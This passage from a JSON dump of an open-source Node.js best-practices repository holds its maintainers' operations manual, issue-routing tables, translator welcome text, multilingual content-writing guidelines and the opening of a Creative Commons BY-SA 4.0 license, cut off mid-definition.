-** When super-simple wording edits are proposed (i.e. not new content rather language correctness), one can just greet, approve and merge immediately\n\n**C. Translations to a new (not existing) language -** When offered to add new language, greet the person and paste our [translation guidelines](./common-answers.md)\n\n**D. Edits to existing translations -** If the change can be inferred by the reviewer (e.g., a change of a symbol, number or just date update) then feel free to merge alone. If familiarity with the language is needed, tag the original translator and ask for feedback. The translators name can be found in the home page under \"Translations\"\n\n**D. Dicussions and ideas -** When a technical discussion or just general conversation is brought into a new issue, apply your own judgements whether to tag other collaborators\n\n\n## Assets to be aware of\n\n- Our content writing guidelines [can be found here](./writing-guidelines.md)\n- Common questions and answers to issues/PRs [can be found here](./common-answers.md)\n\n## Precommit\n\nBefore pushing, verify your Markdown passes [the linter](https://www.npmjs.com/package/markdownlint-cli) :\n\n```bash\nnpm run lint\n```\nFor example fix basic errors : \n\n```bash\nnpm run lint --fix\n```\n\n## Contribution model\n\n### Steering committee 🏆\n\nMembers of the steering committee work together to provide guidance and future direction to the project. Each committee member has a particular expertise which they share their knowledge on, and work to lead further improvements to the project in that area. The steering committee members are responsible for approving new best practices, and ensuring current best practices remain relevant.\n\n### Collaborators 👍\n\nCollaborators are members who are contributing to the repository on a regular basis, through suggesting new best practices, triaging issues, reviewing pull requests and more. Along with the steering committee, each collaborator leads a project tracked under our Github projects.\n\nThe role is in place to help the steering committee ensure that the content provided is of high standard, up-to-date with the industry, and available in many languages. Members who frequently participate in these activities will be invited to become a collaborator, based on the quality of their contributions.\n\nThe steering committee periodically reviews the collaborator list to identify inactive collaborators. Inactive collaborators can choose to either continue in or step down from their role, in which case they are acknowledged as a past collaborator. They may later request that the steering committee restore them to active status.\n"
  },
  {
    "path": ".operations/common-answers.md",
    "content": "**Welcoming new translators**\n\n@name - Welcome aboard, it's great to have you here! 🎆\n\nHaving A Slovak translation could be awesome! At the end, we can Tweet about this, put in our news section, include your name at the top of the translated language and also at the main home page contributors list.\n\nLet's go for this? Few basic guideliness:\n\n- Work on your own fork - Fork this repo, create a branch for yourself, translate & collaborate with other translators, then finally when ready create a PR.\n\n- Focus on translation, not content editing - The focus is on translation, should you want to modify the content or the graphics - let's PR first in English and then translate to other languages. Also the format of the text should remain intact (same design).\n\n- Duplicate the readme and the inner pages - The content should be translated over a page duplication. readme.md became readme.{translated-language}.md (e.g. readme.french.md), all other files should be duplicated similarly. So the number of English & translated pages should be the same. You may see examples in currently translated languages.\n\nCollaborate - once you do the basic setup (branch, duplicate pages), we can announce the work on a new language and get others involved and help you in translation (if you wish).\n\nWe're here to help - let us know whether we can do anything to support you. We can Tweet about this work, put homepage banner or anything else.\n"
  },
  {
    "path": ".operations/operations-manual.md",
    "content": "# Operations Manual - Organizing and Maximizing Our Work\r\nBuilding knowledge and a community by efficiently handling issues\r\n\r\n## Handling issues and PRs\r\n\r\n<br/>\r\nIn a nutshell, every issue and PR should get tagged by one of our core team and routed to the person who specializes in the related topic. This person then, will warmly welcome the contributor and then kick off the discussion (hopefully within 48 hours). The goal of each issue/PR is to learn new thing that might improve our repo and try to include the contributor in our army.\r\n\r\nThere is no specific person on call who assigns inquiries rather we count on our core team to visit almost everyday and assign issues/PR - this way, the workflow is not depend upon any specific person rather on our entire team.\r\n\r\nAny new content should conform to our [writing guidelines](./writing-guidelines.md)\r\n\r\n## Monthly maintenance\r\n\r\n<br/>\r\nEach month, a maintainer on call will open an issue for a maintenance work checklist and write down all the actions to perform by the end of the month (e.g. assign flower to a contributor). At the end of the month, that maintainer will perform the tasks on the checklist.\r\n\r\n ---\r\n \r\n**Maintainer on call**: @someone\r\n\r\n**Updates**\r\n\r\n- [x] Update top badges with best practices item count, last update date and Node.js version\r\n- [ ] Ensure all translations are aligned with the English version\r\n- [x] Update 'thank you' stars & flowers\r\n- [x] Notify and thanks the contributors of the month\r\n\r\n**Flowers**\r\n- @someone2\r\n- @someone1\r\n\r\n**Stars**\r\n- @someone1\r\n\r\n**Core Team**\r\n- @someone1\r\n\r\n--\r\n\r\n| Month   | Maintainer on call |\r\n|---------|--------------------|\r\n| 10/2019 | Yoni               |\r\n| 12/2019 | Bruno              |\r\n| 02/2020 | Kyle               |\r\n| 04/2020 | Yoni               |\r\n| 06/2020 | Bruno              |\r\n| 08/2020 | Kyle               |\r\n| 10/2020 | Yoni               |\r\n| 12/2020 | Bruno              |\r\n\r\n<br/>\r\n\r\n## Routing by areas of expertise\r\n\r\n| Topic                    | Examples                                            | Assignee                           |\r\n|--------------------------|-----------------------------------------------------|------------------------------------|\r\n| Code standards and fixes | Code typos, code standards, examples refinements    | Bruno                              |\r\n| Translations             | Adding new language, merging language PRs           | Monthly rotation  October - Yoni   |\r\n| General Writing quality  | Typos, text clarify                                 | Bruno                              |\r\n| Javascript runtime       | JS runtime, syntax correctness                      | Sagir                              |\r\n| Devops                   | Monitoring, hardening a production site, deployment | Kyle                               |\r\n| Architetecture           | Project structure, microservices                    | Yoni                               |\r\n| Testing                  | CI, linting, testing                                | Yoni                               |\r\n| Performance              | Efficient code, inspecting processes on fire        | Sagir                              |\r\n| Security                 | Security packages, secured code                     | Kyle                               |\r\n| General inquires         | Ideas, requests to contribute, etc                  | Monthly rotation   October - Bruno |\r\n| Error handling           | ...                                                 | Yoni                               |\r\n\r\n## Routing of languages under translation\r\n\r\n| Language             | Assignee |\r\n|----------------------|----------|\r\n| Brazilian Portuguese | Bruno    |\r\n| Portuguese           | Kyke     |\r\n| Hebrew               | Yoni     |\r\n| German               | Bruno    |\r\n| Italian              | Kyle     |\r\n| Turkish              | Bruno    |\r\n| French               | Yoni     |\r\n| Russian              | Yoni     |\r\n| Korean               | Yoni     |\r\n| Spanish              | Kevyn    |\r\n| Chinese              | Yoni     |\r\n| Korean               | Kyle     |\r\n| Egyptian             | Yoni     |\r\n| Ukrainian            | Bruno    |\r\n| Polish               | Kevyn    |\r\n| Thai                 | Kevyn    |\r\n\r\n"
  },
  {
    "path": ".operations/writing-guidelines.basque.md",
    "content": "# Gure agiriko edukia hobeto idazteko\r\n\r\nNola hobetu gure bisitarien irakurtzeko eta ikasteko esperientzia\r\n\r\n## 1. Sinplea ezin hobea da\r\n\r\nGure helburua da irakurketa eta ezagutzaren xurgaketa erraztea: edukia zaintzen dugu. Horrenbestez, saiatzen gara gai konplexu eta nekagarriak zerrenda erraztu bihurtzen, informazio astuna zati txikiagoetan eta zehaztasun gutxiagokoetan eratzen dugu, gai eztabaidagarri eta 'sukoiak' ekiditen ditugu, ideia subjektiboak saihestuz eta orokorrean onartutako jarraibideak erabiliz\r\n\r\n## 2. Oinarritu egitate frogatu eta fidagarrietan\r\n\r\nGure irakurleek konfidantza handia izan behar dute irakurtzen duten informazioa fidagarria dela. Hori lortzeko, erreferentziak, datuak eta gaiarekin zerikusirik duten bestelako ebidentziak erabiltzen ditugu. Praktikan, gure baieztapenak frogatzeko, ahalegintzen gara iturburu fidagarrietako aipuak aurkezten eta konparaketak, erlazionatutako diseinu ereduak edo neurketa zientifikoak azaltzen\r\n\r\n## 3. EEKS (Elkarrekiko Esklusiboa eta Kolektiboki Sakona)\r\n\r\nEdukia ondo editatua eta fidagarria izateaz gain, haren irakurketak gaiaz bere osoan jabetzea bermatu behar du. Ez da azpigai garrantzitsurik baztertu behar\r\n\r\n## 4. Formatu koherentea\r\n\r\nEdukia txantiloi finkoak erabiliz dago aurkeztua, eta etorkizuneko beste edozein edukik txantiloi bera errespetatu behar du. Eduki berriak gehitu nahi izanez gero, kopiatu buleta formatua iada existitzen den bulet batetik eta moldatu zure beharretara. Informazio gehiago nahi izanez gero begiratu [txantiloi hau](../sections/template.basque.md)\r\n\r\n## 5. Node.jsri buruz ari gara\r\n\r\nAholku bakoitzak zuzenean Node.jsrekin erlazionatuta egon behar du, eta ez orokorrean software garapenarekin. Node.jsren eredu/arau generikoak ezartzea aholkatzen dugunean, edukiak Noderen ezarpenean ardaztuta egon behar du. Adibidez, eskaera sarrera guztiak onbideratzea aholkatzen dugunean, segurtasun arrazoiengatik, Node-lingo erabili behar da, ‘erabili middlewarea eskaera sarrera onbideratzeko‘. Gai batek Node.jsren ezarpenik ez badauka (esaterako Python & Jaban bezala), gehitu edukiontzi generiko batean, begiratu 6.5 gaia adibidetzat\r\n\r\n## 6. Hornitzaile nagusiak soilik\r\n\r\nBatzuetan, npm paketeak, open source tresnak edota produktu komertzialak bezalako zenbait erronka eta arazo abordatzen dituzten hornitzaileen izenak gehitzea erabilgarria da. Gainezka egiten duten zerrenda luzeak edota ospetsuak eta egonkorrak ez diren proiektuak ekiditeko, hurrengo arauak proposatzen ditugu:\r\n\r\n- Soilik 3 hornitzaile ezagunenak gomendatu behar dira: hitz gako batentzat bilaketa motore bateko (Google edo Github ospearen arabera ordenatua) lehenengo 3 emaitzetan agertzen den hornitzaile bat aipatu genezake gure gomendioetan\r\n- npm pakete bat bada, batez beste egunean, gutxienez, 750 aldiz deskargatua izan behar da\r\n- Kode irekiko proiektu bat bada, azken 6 hilabeteetan gutxienez behin eguneratua izan behar da\r\n"
  },
  {
    "path": ".operations/writing-guidelines.chinese.md",
    "content": "# 我们创作内容的准则\r\n\r\n提高访问者的阅读和学习体验\r\n\r\n## 1. 越简单越好\r\n\r\n我们的使命，是使知识更易于理解与吸收。因此，我们专注于将复杂和无趣的话题转化为一个简化的清单，用简短但细节相对不精确的列表，去避免超负荷的信息量。同时避免涉及”易爆炸“和有争议的话题。摆脱主观观点，赞成普遍接受的实践。\r\n\r\n## 2. 基于证据且可靠\r\n\r\n我们应使得我们的内容能让读者充分信任其可靠性。为实现这一点，我们加入引用、数据和与主题相关的其他资源。实践上，通过努力包括来自可靠来源的引用话语，展示基准测试结果、相关的设计模式，或采用任何其他的科学手段以证明您的主张。\r\n\r\n## 3. MECE（不重不漏）\r\n\r\n除了要精心编写和可靠，一个话题应该做到略读它之后能涉及到该话题的全部知识。任何重要的子话题都不能遗漏。\r\n\r\n## 4. 一致的格式\r\n\r\n内容是使用固定模板显示的。任何新的内容都必须遵守这一模板。如果希望添加新项目符号，请从现有项目符号复制项目符号格式，并将其扩展以满足您的需要。有关其他信息，请查看[模版](../sections/template.md)\r\n\r\n## 5. Node.js 相关\r\n\r\n每个建议都应直接与 Node.js 相关，而不能仅仅是一般的软件开发。当我们建议在 Node.js 中实现通用的模式/规则时，内容应该集中在 Node 的实现上。例如，当我们建议将所有请求的输入为了安全原因进行处理时，应使用 Node 行话——‘使用中间件来处理请求输入’，如果一个条目在 Node.js 中没有具体特别的实现（e.g. 在 Python 或 Java 中看起来一样）——则将其包含在一个通用的容器条目，例子请查看条目 6.5。\r\n\r\n## 6. 仅限主要的厂商\r\n\r\n有时, 为解决某些问题和挑战，可以包含一些软件 (如 npm 软件包、开源工具甚至商业产品) 的厂商名。为了避免极长的列表，或推荐信誉不好或不稳定的项目，我们提出了以下规则：\r\n\r\n-\t只有排名前 3 的厂商应该被推荐 – 对于一个给定的相关关键词，如果某个厂商出现在搜索引擎结果中排名前3（谷歌或 GitHub 通过人气排序），那么它可以包含在我们的推荐里。\r\n-\t如果它是一个 npm 包，平均日下载量应至少 750 次。\r\n-\t如果它是一个开源项目，在过去的 6 个月里必须至少更新过一次。\r\n"
  },
  {
    "path": ".operations/writing-guidelines.french.md",
    "content": "# Notre manifeste de rédaction de contenu\n\nComment nous améliorons l'expérience de lecture et l'apprentissage pour nos visiteurs.\n\n## 1. La simplicité vaut mieux que la perfection\n\nFaciliter la lecture et l'absorption des connaissances est notre mission, nous en organisons son contenu. En tant que tels, nous nous concentrons sur la transformation des sujets complexes et difficiles en une liste simplifiée, nous traitons les informations trop volumineuses avec du contenu plus courts et moins précis, nous évitons les sujets ‘qui mettent de l'huile sur le feu’ ou controversés et nous évitons les idées subjectives au profit de pratiques généralement acceptées.\n\n## 2. Se baser sur des faits probants et fiables\n\nNos lecteurs doivent être persuadés que le contenu qu'ils parcourent est fiable. Pour ce faire, nous incluons des données probantes comme des références, des données et d'autres ressources disponibles à ce sujet. Dans la pratique, nous essayons d'inclure des citations provenant de sources fiables, de montrer des benchmarks, des modèles de conception connexes ou toute autre mesure scientifique pour prouver les affirmations.\n\n## 3. MECE (Mutuellement Exclusif Collectivement Exhaustif)\n\nEn plus d'être d'une grande fiabilité et d'une grande qualité rédactionnelle, le fait de parcourir le contenu devrait également permettre de couvrir l'ensemble du sujet. Aucun sous-thème important ne doit être laissé de côté.\n\n## 4. Formatage cohérent\n\nLe contenu est présenté à l'aide de modèles prédéfinis. Tout contenu futur doit être conforme au même modèle. Si vous souhaitez ajouter de nouveaux points, copiez le format d'un point existant et complétez-le selon vos besoins. Pour plus d'informations, veuillez consulter [ce modèle](../sections/template.md).\n\n## 5. C'est à propos de Node.js\n\nChaque conseil doit être directement lié à Node.js et non au développement de logiciels en général. Lorsque nous conseillons d'implémenter un modèle/une règle générique dans Node.js, le contenu doit se concentrer sur l'implémentation dans Node. Par exemple, lorsque nous conseillons de nettoyer toutes les requêtes saisies pour des raisons de sécurité, il convient d'utiliser Node-lingo - ‘Utiliser un middleware pour nettoyer les requêtes saisies’. Si un élément n'a pas d'implémentation spécifique dans Node.js (par exemple, il est identique dans Python & Java) - incluez-le dans un élément de conteneur générique, voir l'article 6.5 par exemple.\n\n## 6. Uniquement les fournisseurs majeurs\n\nIl est parfois utile d'inclure des noms de fournisseurs qui peuvent répondre à certains défis et problèmes comme les paquets npm, les outils open source ou même les produits commerciaux. Afin d'éviter des listes trop longues ou de recommander des projets peu fiables et instables, nous avons élaboré les règles suivantes :\n\n- Seuls les 3 premiers fournisseurs devraient être recommandés - un fournisseur qui apparaît dans les 3 premiers résultats d'un moteur de recherche (Google ou GitHub triés par popularité) pour un mot clé pertinent donné peut être inclus dans notre recommandation.\n- S'il s'agit d'un paquet npm, il doit également être téléchargé au moins 750 fois par jour en moyenne.\n- S'il s'agit d'un projet open-source, il doit avoir été mis à jour au moins une fois au cours des 6 derniers mois.\n"
  },
  {
    "path": ".operations/writing-guidelines.indonesia.md",
    "content": "# Manifes penulisan konten kami\n\nBagaimana kami meningkatkan pengalaman membaca dan belajar bagi pengunjung kami.\n\n## 1. Sederhana lebih baik daripada lebih baik\n\nMemudahkan membaca dan menyerap pengetahuan adalah misi kami, kami mengurasi konten. Karena itu, kami fokus pada mengubah topik yang kompleks dan melelahkan menjadi daftar yang disederhanakan, memperdagangkan informasi yang kelebihan beban dengan detail yang dipersingkat dan kurang akurat, menghindari topik yang 'mudah terbakar' dan kontroversial, serta menghindari ide subjektif yang mendukung praktik yang diterima secara umum.\n\n## 2. Berbasis bukti dan dapat diandalkan\n\nPembaca kami harus yakin bahwa konten yang mereka baca dapat diandalkan. Kami mencapai ini dengan memasukkan bukti seperti referensi, data, dan sumber daya lain yang tersedia untuk topik ini. Secara praktis, upayakan untuk memasukkan kutipan dari sumber yang dapat dipercaya, menunjukkan tolok ukur, pola desain terkait, atau ukuran ilmiah apa pun untuk membuktikan klaim Anda.\n\n## 3. MECE (Saling Eksklusif dan Secara Kolektif)\n\nSelain konten yang sangat diedit dan dapat diandalkan, membaca sekilas konten juga harus memberikan cakupan topik yang lengkap. Tidak ada sub-topik penting yang harus ditinggalkan.\n\n## 4. Pemformatan yang konsisten\n\nKonten disajikan menggunakan templat tetap. Setiap konten di masa mendatang harus sesuai dengan template yang sama. Jika Anda ingin menambahkan poin baru, salin format poin dari poin yang ada dan kembangkan sesuai kebutuhan Anda. Untuk informasi tambahan, silakan lihat [template ini] (/sections/template.md).\n\n## 5. Ini Tentang Node.js\n\nSetiap saran harus terkait langsung dengan Node.js dan tidak dengan pengembangan perangkat lunak secara umum. Saat kami menyarankan untuk menerapkan pola / aturan umum di Node.js, konten harus fokus pada implementasi Node. Misalnya, ketika kami menyarankan untuk membersihkan semua input permintaan untuk alasan keamanan, Node-lingo harus digunakan - ‘Gunakan middleware untuk membersihkan input permintaan’. Jika sebuah item tidak memiliki implementasi khusus di Node.js (misalnya, item tersebut terlihat sama di Python & Jaba) - sertakan di dalam item container umum, lihat item 6.5 misalnya.\n\n## 6. Hanya vendor terkemuka\n\nTerkadang berguna untuk memasukkan nama vendor yang dapat mengatasi tantangan dan masalah tertentu seperti paket npm, alat open source atau bahkan produk komersial. Untuk menghindari daftar yang sangat panjang atau merekomendasikan proyek yang tidak bereputasi baik dan tidak stabil, kami membuat aturan berikut:\n\n- Hanya 3 vendor teratas yang disarankan - vendor yang muncul di 3 hasil teratas dari mesin pencari (Google atau GitHub diurutkan berdasarkan popularitas) untuk kata kunci relevan tertentu dapat dimasukkan dalam rekomendasi kami.\n- Jika ini adalah paket npm, itu juga harus diunduh setidaknya rata-rata 750 kali sehari.\n- Jika ini adalah proyek sumber terbuka, itu harus diperbarui setidaknya sekali dalam 6 bulan terakhir.\n"
  },
  {
    "path": ".operations/writing-guidelines.japanese.md",
    "content": "# Our content writing manifest\r\n\r\nHow we enhance the reading and learning experience for our visitors.\r\n\r\n## 1. Simple is better than better\r\n\r\nMaking it easy to read and absorb knowledge is our mission, we curate content. As such we focus on transforming complex and exhausting topics into a simplified list, trade overloaded information with shortened and less-accurate details, avoid ‘flammable’ and controversial topics and escape subjective ideas in favor of generally accepted practices.\r\n\r\n## 2. Be evidence-based and reliable\r\n\r\nOur readers should have great confidence that the content they skim through is reliable. We achieve this by including evidence like references, data and other resources available to this topic. Practically, strive to include quotes from reliable sources, show benchmarks, related design patterns or any scientific measure to prove your claims.\r\n\r\n## 3. MECE (Mutually Exclusive and Collectively Exhaustive)\r\n\r\nApart from the content being greatly edited and reliable, skimming through it should also provide full coverage of the topic. No important sub-topic should be left out.\r\n\r\n## 4. Consistent formatting\r\n\r\nThe content is presented using fixed templates. Any future content must conform to the same template. If you wish to add new bullets copy a bullet format from an existing bullet and extend it to your needs. For additional information please view [this template](../sections/template.md).\r\n\r\n## 5. It's About Node.js\r\n\r\nEach advice should be related directly to Node.js and not to software development in general. When we advise to implement generic pattern/rule in Node.js, the content should focus on the Node implementation. For example, when we advise to sanitize all requests input for security reasons, Node-lingo should be used - ‘Use middleware to sanitize request input’. If an item has no specific implementation in Node.js (e.g. it looks the same in Python & Jaba) - include it within a generic container item, see item 6.5 for example.\r\n\r\n## 6. Leading vendors only\r\n\r\nSometimes it's useful to include names of vendors that can address certain challenges and problems like npm packages, open source tools or even commercial products. To avoid overwhelmingly long lists or recommending non-reputable and unstable projects, we came up with the following rules:\r\n\r\n- Only the top 3 vendors should be recommended – a vendor that appears in the top 3 results of a search engine (Google or GitHub sorted by popularity) for a given relevant keyword can be included in our recommendation.\r\n- If it’s a npm package it must also be downloaded at least 750 times a day on average.\r\n- If it’s an open-source project, it must have been updated at least once in the last 6 months.\r\n"
  },
  {
    "path": ".operations/writing-guidelines.md",
    "content": "# Our content writing manifest\r\n\r\nHow we enhance the reading and learning experience for our visitors.\r\n\r\n## 1. Simple is better than better\r\n\r\nMaking it easy to read and absorb knowledge is our mission, we curate content. As such we focus on transforming complex and exhausting topics into a simplified list, trade overloaded information with shortened and less-accurate details, avoid ‘flammable’ and controversial topics and escape subjective ideas in favor of generally accepted practices.\r\n\r\n## 2. Be evidence-based and reliable\r\n\r\nOur readers should have great confidence that the content they skim through is reliable. We achieve this by including evidence like references, data and other resources available to this topic. Practically, strive to include quotes from reliable sources, show benchmarks, related design patterns or any scientific measure to prove your claims.\r\n\r\n## 3. MECE (Mutually Exclusive and Collectively Exhaustive)\r\n\r\nApart from the content being greatly edited and reliable, skimming through it should also provide full coverage of the topic. No important sub-topic should be left out.\r\n\r\n## 4. Consistent formatting\r\n\r\nThe content is presented using fixed templates. Any future content must conform to the same template. If you wish to add new bullets copy a bullet format from an existing bullet and extend it to your needs. For additional information please view [this template](../sections/template.md).\r\n\r\n## 5. It's About Node.js\r\n\r\nEach advice should be related directly to Node.js and not to software development in general. When we advise to implement generic pattern/rule in Node.js, the content should focus on the Node implementation. For example, when we advise to sanitize all requests input for security reasons, Node-lingo should be used - ‘Use middleware to sanitize request input’. If an item has no specific implementation in Node.js (e.g. it looks the same in Python & Java) - include it within a generic container item, see item 6.5 for example.\r\n\r\n## 6. Leading vendors only\r\n\r\nSometimes it's useful to include names of vendors that can address certain challenges and problems like npm packages, open source tools or even commercial products. To avoid overwhelmingly long lists or recommending non-reputable and unstable projects, we came up with the following rules:\r\n\r\n- Only the top 3 vendors should be recommended – a vendor that appears in the top 3 results of a search engine (Google or GitHub sorted by popularity) for a given relevant keyword can be included in our recommendation.\r\n- If it’s a npm package it must also be downloaded at least 750 times a day on average.\r\n- If it’s an open-source project, it must have been updated at least once in the last 6 months.\r\n"
  },
  {
    "path": ".operations/writing-guidelines.polish.md",
    "content": "# Nasz manifest pisania treści\n\nJak zwiększamy komfort czytania i uczenia się dla naszych gości.\n\n## 1. Proste jest lepsze\n\nNaszą misją jest ułatwianie czytania i przyswajania wiedzy. Dlatego koncentrujemy się na przekształcaniu skomplikowanych i wyczerpujących tematów w uproszczoną listę, handlujemy przeciążonymi informacjami ze skróconymi i mniej dokładnymi szczegółami, unikamy „łatwopalnych” i kontrowersyjnych tematów i unikamy subiektywnych pomysłów na rzecz ogólnie przyjętych praktyk.\n\n## 2. Bądź wiarygodny i niezawodny\n\nNasi czytelnicy powinni mieć wielką pewność, że przeglądane przez nich treści są wiarygodne. Osiągamy to poprzez włączenie dowodów, takich jak referencje, dane i inne zasoby dostępne na ten temat. Praktycznie staraj się zamieszczać cytaty z wiarygodnych źródeł, wykazywać wzorce, powiązane wzorce projektowe lub wszelkie środki naukowe, aby udowodnić swoje twierdzenia.\n\n## 3. MECE (Mutually Exclusive and Collectively Exhaustive)\n\nOprócz tego, że treść jest znacznie edytowana i niezawodna, przeglądanie w niej powinno również zapewniać pełne omówienie tematu. Nie można pominąć żadnego ważnego tematu.\n\n## 4. Spójne formatowanie\n\nTreść jest prezentowana przy użyciu stałych szablonów. Wszelkie przyszłe treści muszą być zgodne z tym samym szablonem. Jeśli chcesz dodać nowe punktory, skopiuj format punktora z istniejącego i rozszerz go do swoich potrzeb. Aby uzyskać dodatkowe informacje, zobacz [ten szablon](../sections/template.md).\n\n## 5. To na temat Node.js\n\nKażda rada powinna dotyczyć bezpośrednio Node.js, a nie ogólnie oprogramowania. Kiedy radzimy zaimplementować ogólny wzorzec / regułę w Node.js, treść powinna koncentrować się na implementacji Node. Na przykład, gdy ze względów bezpieczeństwa zalecamy oczyszczenie danych wejściowych, należy użyć Node-lingo - „Użyj oprogramowania pośredniego do oczyszczenia danych wejściowych”. Jeśli element nie ma określonej implementacji w Node.js (np. wygląda tak samo w Python i Jaba) - dołącz go do ogólnego elementu kontenera, patrz na przykład pozycja 6.5.\n\n## 6. Tylko wiodący dostawcy\n\nCzasami przydatne jest podanie nazw dostawców, którzy mogą rozwiązać niektóre wyzwania i problemy, takie jak pakiety npm, narzędzia open source, a nawet produkty komercyjne. Aby uniknąć przytłaczających długich list lub rekomendować projekty nierenomowane i niestabilne, opracowaliśmy następujące zasady:\n\n- Polecamy tylko 3 najlepszych dostawców - dostawcę, który pojawia się w 3 najlepszych wynikach wyszukiwania (Google lub GitHub posortowane według popularności) dla danego odpowiedniego słowa kluczowego, możemy uwzględnić w naszej rekomendacji.\n- Jeśli jest to pakiet npm, musi być pobierany średnio co najmniej 750 razy dziennie.\n- Jeśli jest to projekt typu open source, musi zostać zaktualizowany przynajmniej raz w ciągu ostatnich 6 miesięcy.\n"
  },
  {
    "path": ".operations/writing-guidelines.russian.md",
    "content": "# Наш манифест по написанию контента\r\n\r\nКак мы улучшаем процесс чтения и обучения для наших посетителей.\r\n\r\n## 1. Простое лучше, чем лучшее\r\n\r\nНаша миссия - облегчить чтение и усвоение знаний, мы курируем контент. Таким образом, мы концентрируемся на преобразовании сложных и изнурительных тем в упрощенный список, обмениваем перегруженную информацию сокращенными и менее точными деталями, избегаем \"легковоспламеняющихся\" и противоречивых тем и избегаем субъективных идей в пользу общепринятых практик.\r\n\r\n## 2. Быть обоснованным и надежным\r\n\r\nНаши читатели должны быть уверены, что контент, который они просматривают, надежен. Мы достигаем этого путем включения таких доказательств, как ссылки, данные и другие ресурсы, доступные по этой теме. Практически, старайтесь включать цитаты из надежных источников, показывать контрольные показатели, связанные шаблоны проектирования или любые научные меры, чтобы доказать свои претензии.\r\n\r\n## 3. ВИСИ (взаимоисключающие и совместноисчерпывающие)\r\n\r\nПомимо того, что контент хорошо отредактирован и надежен, его просмотр должен также обеспечить полное освещение темы. Ни одна важная подтема не должна быть исключена.\r\n\r\n## 4. Согласованное форматирование\r\n\r\nКонтент представлен с использованием фиксированных шаблонов. Любое будущее содержание должно соответствовать тому же шаблону. Если вы хотите добавить новые маркеры, скопируйте формат маркера из существующего маркера и расширьте его для своих нужд. Для получения дополнительной информации, пожалуйста, просмотрите [этот шаблон](../sections/template.md).\r\n\r\n## 5. Это про Node.js\r\n\r\nКаждый совет должен быть связан непосредственно с Node.js, а не с разработкой программного обеспечения в целом. Когда мы советуем реализовать общий шаблон/правило в Node.js, содержимое должно быть сосредоточено на реализации Node. Например, когда мы советуем очистить все запросы ввода по соображениям безопасности, следует использовать Node-нотацию - \"используйте промежуточное ПО для очистки ввода запроса\". Если у элемента нет конкретной реализации в Node.js (например, он выглядит одинаково в Python и Jaba) - включите его в общий элемент контейнера, см., например, пункт 6.5.\r\n\r\n## 6. Только ведущие поставщики\r\n\r\nИногда полезно включать имена поставщиков, которые могут решить определенные задачи и проблемы, такие как пакеты npm, инструменты с открытым исходным кодом или даже коммерческие продукты. Чтобы избежать слишком длинных списков или рекомендовать не заслуживающие доверия и нестабильные проекты, мы разработали следующие правила:\r\n\r\n- Рекомендуются только топ-3 поставщиков - в нашу рекомендацию может быть включен поставщик, который появляется в топ-3 результатов поисковой системы (Google или GitHub по популярности) для данного релевантного ключевого слова.\r\n- Если это пакет npm, его также должны скачивать в среднем не менее 750 раз в день.\r\n- Если это проект с открытым исходным кодом, он должен быть обновлен хотя бы один раз за последние 6 месяцев.\r\n"
  },
  {
    "path": "LICENSE",
    "content": "## creative commons\r\n\r\n# Attribution-ShareAlike 4.0 International\r\n\r\nCreative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.\r\n\r\n### Using Creative Commons Public Licenses\r\n\r\nCreative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.\r\n\r\n* __Considerations for licensors:__ Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. [More considerations for licensors](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).\r\n\r\n* __Considerations for the public:__ By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. [More considerations for the public](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).\r\n\r\n## Creative Commons Attribution-ShareAlike 4.0 International Public License\r\n\r\nBy exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-ShareAlike 4.0 International Public License (\"Public License\"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.\r\n\r\n### Section 1 – Definitions.\r\n\r\na. __Adapted Material__ means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.\r\n\r\nb. __Adapter's License__ means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.\r\n\r\nc. __BY-SA Compatible License__ means a license listed at [creativecommons.org/compatiblelicenses](http://creativecommons.org/compatiblelicenses), approved by Creative Commons as essentially the equivalent of this Public License.\r\n\r\nd. __Copyright and Similar Rights__ means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.\r\n\r\ne. __Effective Technological Measures__ means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.\r\n\r\nf. __Exceptions and Limitations__ means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.\r\n\r\ng. __License Elements__ means the license attributes listed in the name of a Creative Commons Public License. The License Elements of this Public License are Attribution and ShareAlike.\r\n\r\nh. __Licensed Material__ means the artistic or literary work, database, or other material to which the Licensor applied this Public License.\r\n\r\ni. __Licensed Rights__ means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all 